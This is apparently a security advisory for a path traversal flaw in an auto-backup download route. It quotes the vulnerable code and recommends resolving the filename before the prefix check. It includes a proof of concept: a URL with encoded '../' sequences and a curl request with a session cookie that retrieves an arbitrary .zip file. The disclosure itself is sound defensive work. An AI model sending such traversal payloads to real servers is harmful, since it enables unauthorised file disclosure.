A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download
API.
router.get(
"/auto-backup-download/:filename",
isAdmin,
error_catcher(async (req, res) => {
const { filename } = req.params; // [1] source
[...]
if (
!isRoot ||
!(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
) {
res.redirect("/admin/backup");
return;
}
const auto_backup_directory = getState().getConfig("auto_backup_directory");
res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
})
);
.zip
extension under /tmp
folder:
echo "secret12345" > /tmp/secret.zip
http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip
download the zip file and then check if the zip was indeed downloaded:
cat secret.zip
secret12345
Alternatively send the following request to retrieve the file just created.
curl -i -X $'GET' \
-H $'Host: localhost:3000' \
-H $'Connection: close' \
-b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
$'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'
NOTE:
To obtain a valid connect.sid
cookie, just open the developer console while logged and retrieve the cookie value.
Arbitrary zip files download (information disclosure).
Resolve the filename
parameter before checking if it starts with backup_file_prefix
.
{ "github_reviewed_at": "2024-10-03T19:46:12Z", "severity": "MODERATE", "cwe_ids": [ "CWE-22" ], "github_reviewed": true, "nvd_published_at": null }